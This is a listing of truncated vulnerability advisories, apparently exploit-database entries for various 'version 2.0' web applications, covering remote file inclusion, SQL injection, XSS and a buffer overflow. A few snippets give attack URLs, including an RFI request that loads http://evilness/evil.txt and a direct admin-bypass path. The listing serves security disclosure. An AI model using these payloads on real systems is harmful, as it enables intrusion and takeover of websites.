IPEER-2.0.txt

Product:http://ipeer.apsc.ubc.ca/ipeersite/ version: 2.0 I assume others too vulnerability: http://somehost/ipeersite/?page=http://evilness/evil.txt?...

GOOP-image.txt

GOOP Gallery 'image' param Cross-site scripting Vendor url:http://www.webgeneius.com Advisore:http://lostmon.blogspot.com/2006/10/ goop-gallery-image-param-cross-site.html Vendor notify: YES Exploit available: YES GOOP Gallery contains a flaw that allows a remote cross site scripting attack.This...

Debian DSA-885-1 : openvpn - several vulnerabilities

Several vulnerabilities have been discovered in OpenVPN, a free virtual private network daemon. The Common Vulnerabilities and Exposures project identifies the following problems : - CVE-2005-3393 A format string vulnerability has been discovered that could allow arbitrary code to be executed on...

cahierSQL.txt

Cahier de textes Pierre Lemaitre - St Lô France - Ver 2.0 Remote SQL injection Exploit Discovred By s4mi s4miatlinuxmaildotorg exploit http://localhost/PATH/lire.php?classeID=1&matiereID=SQL or http://localhost/PATH/lireafaire.php?classeID=SQL expemle of sql code to get admin user and password...

Les Visiteurs (Visitors) 2.0 - config.inc.php File Inclusion

Les Visiteurs Visitors 2.0 - config.inc.php File Inclusion ============================================================================================== lesvisit visiteurs = v2.0 lvcincludedir Remote File Include Vulnerability...

Les Visiteurs (Visitors) 2.0 - 'config.inc.php' File Inclusion

============================================================================================== lesvisit visiteurs = v2.0 lvcincludedir Remote File Include Vulnerability =============================================================================================== Critical Level : Dangerous...

PHP_news 2.0 - user_user.php?language Remote File Inclusion

PHPnews 2.0 - useruser.php?language Remote File Inclusion source: https://www.securityfocus.com/bid/20209/info PHPNews is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input. A successful exploit of these issues allows an attacker to...

PHP_news 2.0 - '/admin/catagory.php?language' Remote File Inclusion

source: https://www.securityfocus.com/bid/20209/info PHPNews is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input. A successful exploit of these issues allows an attacker to execute arbitrary server-side script code on an affected...

PHP_news 2.0 - creat_news_all.php?language Remote File Inclusion

PHPnews 2.0 - creatnewsall.php?language Remote File Inclusion source: https://www.securityfocus.com/bid/20209/info PHPNews is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input. A successful exploit of these issues allows an attacker to...

ExBB Italian version <= v2.0 (home_path) Remote File Inclusion Exploit

============================================================================================== ExBB Italian version = v2.0 homepath Remote File Inclusion Exploit =============================================================================================== Critical Level : Dangerous Venedor site...

LinksCaffe no checker at admin

Gonafish.com LinksCaffe 3.0 is free link indexing directory, we found that the file admin1953.php can be accessed directly to get full administration rights without password and username. Proof of exploit: http://www.example.com/pathtolinksCaffe/Admin/admin1953.php Or the images of mirror...

ExBB Italiano 0.2 - exbb[home_path] Remote File Inclusion

ExBB Italiano 0.2 - exbbhomepath Remote File Inclusion ============================================================================================== ExBB Italian version "Powered by ExBB " ========...

CLUB Nuke 2.0 - Multiple SQL Injections

source: https://www.securityfocus.com/bid/19442/info CLUB-Nuke is prone to multiple SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in an SQL query. A successful exploit could allow an attacker to compromise the application, access or modify...

Joomla! Plugin JD-WordPress 2.0-1.0 RC2 - 'wp-comments-post.php' Remote File Inclusion

source: https://www.securityfocus.com/bid/19209/info JD-WordPress for Joomla is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input. An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and...

Joomla! Plugin JD-WordPress 2.0-1.0 RC2 - wp-comments-post.php Remote File Inclusion

Joomla! Plugin JD-WordPress 2.0-1.0 RC2 - wp-comments-post.php Remote File Inclusion source: https://www.securityfocus.com/bid/19209/info JD-WordPress for Joomla is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input. An attacker can...

MidiRecord2 MidiRecord.CC - Local Buffer Overflow

MidiRecord2 MidiRecord.CC - Local Buffer Overflow // source: https://www.securityfocus.com/bid/19190/info Midirecord is prone to a local buffer-overflow vulnerability because it fails to do proper bounds checking on user-supplied data before using it in a finite-sized buffer. An attacker can...

Extcalendar 2.0 - Extcalendar.php Remote File Inclusion

Extcalendar 2.0 - Extcalendar.php Remote File Inclusion source: https://www.securityfocus.com/bid/18876/info ExtCalendar is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker can exploit this issue ...

DbbS 2.0 - 'Topics.php' SQL Injection

source: https://www.securityfocus.com/bid/17338/info DbbS is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. A successful exploit could allow an attacker to compromise the...

[Full-disclosure] EzASPSite <= 2.0 RC3 Remote SQL Injection Exploit Vulnerability.

--Security Report-- Advisory: EzASPSite = 2.0 RC3 Remote SQL Injection Exploit Vulnerability. --- Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI --- Date: 29/03/06 21:33 PM --- Contacts: ICQ: 10072 MSN/Email: [email protected] Web: http://www.nukedx.com --- Vendor: EzASPSite...

Arab Portal 2.0 - online.php Cross-Site Scripting

Arab Portal 2.0 - online.php Cross-Site Scripting source: https://www.securityfocus.com/bid/17285/info ArabPortal System is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage this issu...